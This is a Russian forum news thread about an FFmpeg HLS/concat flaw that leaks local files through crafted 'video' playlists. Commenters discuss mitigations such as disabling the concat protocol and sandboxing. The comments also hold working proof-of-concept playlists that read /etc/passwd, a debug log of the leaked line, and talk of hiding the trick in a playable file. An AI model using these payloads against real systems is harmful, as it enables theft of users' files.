LINUX.ORG.RU

Уязвимость в FFMpeg, позволяющая читать любые файлы в системе

 ,


6

6

Сотрудник Mail.ru Максим Андреев опубликовал информацию об уязвимости в популярном наборе свободных библиотек FFMpeg.

Если сформировать специальный видеофайл (расширение не имеет значения) и загрузить его на видеохостинг, то злоумышленник сможет прочесть любой файл на сервере. Если удастся каким-то образом заставить обычного пользователя скачать вредоносный файл (дать ему прямую ссылку, выложить на торрент-трекер), как минимум, можно узнать имя пользователя и какую-нибудь ещё непубличную информацию. В случае с Ubuntu FFmpeg передаст злоумышленнику первую строку указанного злоумышленником файла (например, /etc/passwd того пользователя, который просто скачал файл, даже не запуская его (FFMpeg в Ubuntu используется для создания превью, отображаемого в файловом менеджере).

Кроме того, уязвимости подвержены все видеопроигрыватели, использующие FFMpeg.

В качестве мер защиты предлагается запускать ffmpeg в изолированном окружении, либо ограничить ему доступ к сети.

>>> Подробности

anonymous

Проверено: JB ()

Ответ на: комментарий от h4tr3d

Банальный ffprobe

с ffprobe тоже все работает точно так же, как и с ffmpeg :)

anonymous ()
Ответ на: комментарий от h4tr3d

Какая, к чёрту, уязвимость?

А пользователи десктопных Linux'ов тоже должны фильтровать ввод и не запускать, а точнее даже не скачивать «недоверенные видео»?

anonymous ()
Ответ на: комментарий от anonymous

Да тут я погорячился. Упустил момент с некорректной работой concat: протокола если нет \n в конце play-листа: http://habrahabr.ru/company/mailru/blog/274855/#comment_8735299. Тогда да, только входным файлом можно передать на сервер необходимую информацию. Это уже косякс.

Тогда просто тупая фильтрация типа: http://habrahabr.ru/company/mailru/blog/274855/#comment_8735249

Имеет смысл запретить concat протокол:

–disable-protocol=concat

кому нужно, склеить можно будет через фильтры: https://www.ffmpeg.org/ffmpeg-filters.html#concat

h4tr3d ★★★★★ ()
Последнее исправление: h4tr3d (всего исправлений: 1)

MPlayer, MPlayer2, MPV подвержены?
Вроде у них своя либа.
Вообще неплохо бы перечислить безопасные плееры.

например, /etc/passwd

Можно полностью отобрать у юзеров права на подобные файлы

Strannik-j ★★ ()
Последнее исправление: Strannik-j (всего исправлений: 2)
Ответ на: комментарий от Strannik-j

Нет, они используют системный ffmpeg.

anonymous ()
Ответ на: комментарий от proud_anon

нет, если злоумышленник передаст файл а ты сделаешь тамбнейл то у него будут твои файлы)

Slackware_user ★★★★★ ()
Ответ на: комментарий от AS

Это логичное следствие запихивания в одну либу всего возможного барахла на свете.

Только мне послышалось systemd ? :-)

У меня это тоже вызвало знакомые ассоциации с кучей всего что НИНУЖНО.

rezedent12 ☆☆☆ ()

Такой вопрос к тем кто разбирался в теме: Можно-ли сделать видео-файл с данной закладкой, который будет иметь типичный размер для видео-файла, который будет в итоге воспроизводиться видео-плеером, но на старте воспроизведения будет выполнять данную закладку из встроенного в него «плейлиста» и отправлять какие-то данные злоумышленнику на сервер ?

Эх... как всё печально стало в линуксах с секурностью. Вот совсем недавно делал профиль AppArmor для Firefox'а, теперь, видимо, придётся делать профиль с ограничением на сеть для видео-проигрывателей и утилиты ffmpeg (как я понял, thumbnailer'ы часто просто её напрямую запускают).

DawnCaster ()

Вменяемого репорта на английском, как я вижу, нет. Смотрел на bugtraq, FullDisclosure, просто гуглил. Мэйлру решили попиариться в локальных масштабах, без дискуссии с сообществом разработчиков ffmpeg и безопасников, так и запишем.

Andrey_Utkin ★★ ()

ололо!

Это лол какой-то. Статью - не читай, новость - пиши!

Разработчики сами себе ставят грабли и потом бегают по ним, при этом валят на производителей стороннего софта. Ffmpeg обрабатывает данные согласно протоколу.

тлдр. Проверяйте входные данные перед работой с ними.

Ещё во времена студенчества, когда я делал всякие сайты за еду, заказчик захотел сайт «доска объявлений с картинками». Естественно, любой аноним мог постить картинки в любом количестве. Чтобы не запороть систему, входные картинки были ограничены набором форматов. Естественно, формат нужно проверять. Например, в лине есть команда file, которая позволяет узнать формат файла. Результат может основываться на расширении файла или на сигнатурах (используется libmagickfile или как-то так).

Соответственно и здесь прежде чем отдавать данные в ffmpeg нужно проверять - готовы ли вы обработать данные, которые пришли, или - нет.

Другая ситуация была бы, если бы пришел валидный mp4, а внутри одним из фреймов был заинжекчен указанный плейлист, и ffmpeg вместо ошибки начал бы обрабатывать этот плейлист.

IPFreely ★★ ()
Последнее исправление: IPFreely (всего исправлений: 2)
Ответ на: комментарий от Pinkbyte

WARNING: Option --disable-demuxer='hls,applehttp' did not match anything

Deleted ()
Ответ на: комментарий от DawnCaster

который будет иметь типичный размер для видео-файла

Да. Просто добейте комментариями вида '# строка'

который будет в итоге воспроизводиться видео-плеером

попробуйте VLC, ffplay (этот точно будет)

будет выполнять данную закладку из встроенного в него «плейлиста» и отправлять какие-то данные злоумышленнику на сервер

отправится только первая строка файла. Протокол concat сделать в лобо: но читает последовательно байты из первого файла, потом из второго, потом из третьего. Суть проблемы в том, что в первом файле может быть только один URL, а буффер может быть больше этого юрла, тогда сначала в запрошенный буффер записывается этот самый URL:

http://example?
Уберите перевод строки, иначе ничего не выйдет! Файл на этом заканчивается и начинает читаться второй, этот самый ваш /etc/passwd, из него читается порция данных равная остатку буффера, пусть это будет:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:dae
вот именно так, сколько влезло. И это дело дописывается в буффер, в результате там:
http://example?root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:dae

далее он пытается открыть этот самый юрл, отправится то, что до первого перевода строки. Но дальше уже ничего слаться не будет - что это за

daemon:x:1:1:dae
такое? :)

Хотя у меня на этом месте FFmpeg тупо впал в ступор:

ffmpeg version 2.8.3 Copyright (c) 2000-2015 the FFmpeg developers
  built with gcc 4.8 (Ubuntu 4.8.4-2ubuntu1~14.04)
  configuration: --prefix=/opt/ffmpeg --libdir=/opt/ffmpeg/lib/ --enable-shared --enable-avresample --disable-stripping --enable-gpl --enable-version3 --enable-nonfree --enable-runtime-cpudetect --build-suffix=.ffmpeg --enable-postproc --
  libavutil      54. 31.100 / 54. 31.100
  libavcodec     56. 60.100 / 56. 60.100
  libavformat    56. 40.101 / 56. 40.101
  libavdevice    56.  4.100 / 56.  4.100
  libavfilter     5. 40.101 /  5. 40.101
  libavresample   2.  1.  0 /  2.  1.  0
  libswscale      3.  1.101 /  3.  1.101
  libswresample   1.  2.101 /  1.  2.101
  libpostproc    53.  3.100 / 53.  3.100
Splitting the commandline.
Reading option '-v' ... matched as option 'v' (set logging level) with argument 'debug'.
Reading option '-i' ... matched as input file with argument 'test.mkv'.
Reading option 'out.avi' ... matched as output file.
Finished splitting the commandline.
Parsing a group of options: global .
Applying option v (set logging level) with argument debug.
Successfully parsed a group of options.
Parsing a group of options: input file test.mkv.
Successfully parsed a group of options.
Opening an input file: test.mkv.
[hls,applehttp @ 0x11b2be0] Format hls,applehttp probed with size=2048 and score=100
[hls,applehttp @ 0x11b2be0] HLS request for url 'concat:./header.m3u8|file:///etc/passwd', offset 0, playlist 0
Format hls,applehttp probed with size=2048 and score=100
[AVIOContext @ 0x11b9820] Statistics: 2359 bytes read, 0 seeks
[hls,applehttp @ 0x11b5a00] HLS request for url 'http://localhost?root:x:0:0:root:/root:/bin/bash', offset 0, playlist 0
[http @ 0x11b6a40] request: GET ?root:x:0:0:root:/root:/bin/bash HTTP/1.1
User-Agent: Lavf/56.40.101
Accept: */*
Connection: close
Host: localhost
Icy-MetaData: 1


[hls,applehttp @ 0x11b5a00] Failed to open segment of playlist 0
[AVIOContext @ 0x11b9c60] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b99c0] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9ca0] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9c80] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9d00] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9c00] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9a60] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9c00] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11bb3c0] Statistics: 2359 bytes read, 0 seeks
[AVIOContext @ 0x11b9c60] Statistics: 2359 bytes read, 0 seeks

Строчки:

[AVIOContext @ 0x11b9c60] Statistics: 2359 bytes read, 0 seeks
повторяются несчётное число раз.

h4tr3d ★★★★★ ()
Ответ на: комментарий от Deleted

Ну значит типичные хабрапользователи посоветовали не попробовав, бывает

Pinkbyte ★★★★★ ()
Ответ на: комментарий от h4tr3d

Ну, про чтение нескольких строчек, в оригинальной статье - тоже что-то писалось. Проверить самому сейчас просто нету времени, так что предположу, что как-то это сделать может и можно.

А вам не удалось в итоге сделать такой «видео»-файл, который успешно откроется проигрывателем, выполнит закладку, и самое главное - ВОСПРОИЗВЕДЁТ видео которое в нём записано ? Что-бы пользователь даже не догадался что его хакнули.

Пока-что, как я понял, сделать такую «многоходовочку» ещё не удалось. Если найду время, обязательно поэкспериментирую. Может можно как-то сделать имитацию локального воспроизведения через какой-нибудь вложенный плейлист, а сам локальный файл-троян добить символами # до размера не вызывающего подозрений.

DawnCaster ()
Ответ на: комментарий от DawnCaster

Да, но в этом случае запись идёт в локальный же файл. Пример с HTTP запросом приколен в том, что не имея доступа к результирующему файлу - данные утекают. Но одна строчка.

Собственно такой такой вариант (запись в выходной файл) опасен для серверов, а с передачей данных вместе с запросом - для рядового пользователя в первую очередь.

h4tr3d ★★★★★ ()
Ответ на: комментарий от anonymous

Умеет через gstreamer-vaapi, начиная с gnome-3.16, но изображение всё равно идёт с рывками, хотя напрямую через gst-launch всё идеально. Да и в последнем gtreamer-vaapi по слухам улучшили работу. А не работал totem предыдущих версий из-за того, что использовал какой-то виджет gtk, который делал бяку.

Но со стабильным дебьяном мне ещё долго это не проверить.

anonymous ()

Почти после полугодового ядерного взрыва, выжившие рассказали как это было.

nixbrain ()
Ответ на: комментарий от h4tr3d

как я понял по этому примеру, это как раз то что нужно: то есть, «имитация» локального воспроизведения файла для пользователя, и кража данных, строчка за строчкой, при выполнении каждого HTTP запроса из плейлиста. Осталось дело за малым - просто добить плейлист до нужного размера, и будет казаться что воспроизводиться локальный файл.

DawnCaster ()
Ответ на: комментарий от Psych218

Можно просто пересобрать ffmpeg

Это всё херня, ffmpeg всегда был, есть и будет решетом. Поэтому на всех видеохостингах оно запускается изолированно.

true_admin ★★★★★ ()

Любые файлы в системе))) Я вот что-то не могу воспроизвести файлы видео из папки root, что я делаю не так?

Deleted ()
Ответ на: комментарий от DawnCaster

вот header.m3u8:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://localhost/file540.mp4?

вот test.mkv с множеством запросов:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:./header.m3u8|file:///etc/passwd
concat:./header.m3u8|file:///etc/passwd
concat:./header.m3u8|file:///etc/passwd
concat:./header.m3u8|file:///etc/passwd
concat:./header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST

а вот результат запроса: http://pastebin.com/UZGrfYGJ

сами видите, сколько данных утекло. Соединяются только header.m3u8 и file://, причём утечку пользовательских данных вызовет только ОДИН реквест - который самый последний в header.m3u8. Остальные нет, даже если они будут. Строчка за строчкой прочитать файл /etc/passwd не получится.

Т.е. этот вариант сработал бы даже с ffplay, vlc и так далее. Все остальные варианты, которые могут вызвать ПОЛНОЕ чтение файла требуют конвертации и передачи полученного файла злоумышленнику.

h4tr3d ★★★★★ ()

Помню что mplayer без специального ключа отказывался работать с определенным форматом плейлиста, примерно по похожим причинам.

Предложим ffmpeg сконвертировать текстовый файл file.txt в видеофайл out.mp4. Как вы думаете, что произойдёт в данном случае? В файле out.mp4 будет видео, в котором этот текстовый файл проиграется просто бегущими строками!

Наркомания.

aplay ★★★★★ ()

Подскажите для Ъ - эта «уязвимость» на самом деле уязвимость протокола, который реализован в ffmpeg, или уязвимость только ffmpeg?

tailgunner ★★★★★ ()
Ответ на: libav от wakuwaku

как всегда не нужна
fixed

uin ★★★ ()
Ответ на: комментарий от DawnCaster

Эх... как всё печально стало в линуксах с секурностью.

Осталось понять, как вы связали безопасность линукса с дыркой в протоколе, который реализован в юзерспейсной либе?

andreyu ★★★★★ ()
Ответ на: комментарий от Strannik-j

В /etc/passwd уже тысячу лет ничего полезного не лежит. Кто-то на другом конце мира узнает, какой у меня shell. Ну охренеть теперь.

Куда более неприятно получить доступ к ~/.ssh/id_rsa.

kirk_johnson ★☆ ()
Ответ на: комментарий от tailgunner

Уязвимость формата, который позволяет слишком много странного. Ну в какой-то мере можно считать уязвимостью ffmpeg, ибо зачем такие странные форматы реализовывать полностью. По крайней мере при сборке по умолчанию уж точно такое надо отключать.

Legioner ★★★★★ ()
Ответ на: комментарий от anonymous

у меня 3.18 - вообще не работает, на 3.16, да, работало, но тоже как-то странно, дергания при pause-play, какие-то странные артефакты при старте, короче, неюзабельно. вообще, тотем - это кусок говна а не плеер (притом что старые версии смотрятся годно, видать @#$%^&* из outreachy постарались все изгадить), но, в связи с, приходится им смотреть, без vaapi.

хотя, опять же, не уверен, что libav этот баг не касается.

anonymous ()
Ответ на: комментарий от tailgunner

эта «уязвимость» на самом деле уязвимость протокола, который реализован в ffmpeg, или уязвимость только ffmpeg?

Ffmpeg слишком умный. С одной стороны в спеке вроде как нет упоминаний об ограничениях на URLы в m3u8 плейлисте. И нет упоминаний, могут ли реализации вносить ограничения типа «запросы только с того же основного домена» или «нельзя менять схему». Из-за этого можно конечного пользователя превратить в элемент DDoS ботнета. Но это протокол такой.

С другой стороны, ffmpeg кроме обычных схем (http, https, ftp), позволяет использовать и свои. Например, concat позволяет вытащить строку из файла, прилепить её к ссылке и пройти по этой ссылке. За один заход можно утащить первую строку из любого локального текстового файла. Subfile позволяет утащить строку откуда-нибудь из середины текстового файла.

А ещё ffmpeg может рендерить текст в картинки: ffmpeg -i /etc/passwd out.mp4.

i-rinat ★★★★★ ()
Ответ на: комментарий от anonymous

Собственно это моя дискуссия с ним. Обрати внимание на дальнейшие эксперименты.

h4tr3d ★★★★★ ()
Ответ на: комментарий от i-rinat

/etc/passwd: Invalid data found when processing input

Гента с USE=-* как всегда рулит и пердолит.

anonymous ()

Хвалёный свободный софт.

zgen ★★★★★ ()
Ответ на: комментарий от Deleted

Я вот что-то не могу воспроизвести файлы видео из папки root, что я делаю не так?

Ну сделай там +r для всех, и всё будет. Не надо же понимать буквально, рута посредством ffmpeg не получить.

AS ★★★★★ ()
Ответ на: комментарий от h4tr3d

Неа, несколько concat в test.mkv не спасли. FFmpeg в транс впадает. Такое ощущение, где-то логика ломается и усё.

h4tr3d ★★★★★ ()
Ответ на: комментарий от Andrey_Utkin

Люто и бешено плюсую!

Нету предметнаго и чоткаго обсуждения с безопасниками сего происшествия. Видимо местное быдло мыло решило пропиарится!

anonymous ()
Ответ на: комментарий от i-rinat

Вот, кстати, так и не получилось даже при помощи subfile вывести целиком в несколько запросов. Уже сделал и куски маленькие, что бы ошмётки не портили плей-лист, нифига.

h4tr3d ★★★★★ ()
Ответ на: комментарий от zgen

При чём тут свободный софт, если эта уязвимость появилась по вине Apple?

Quasar ★★★★★ ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.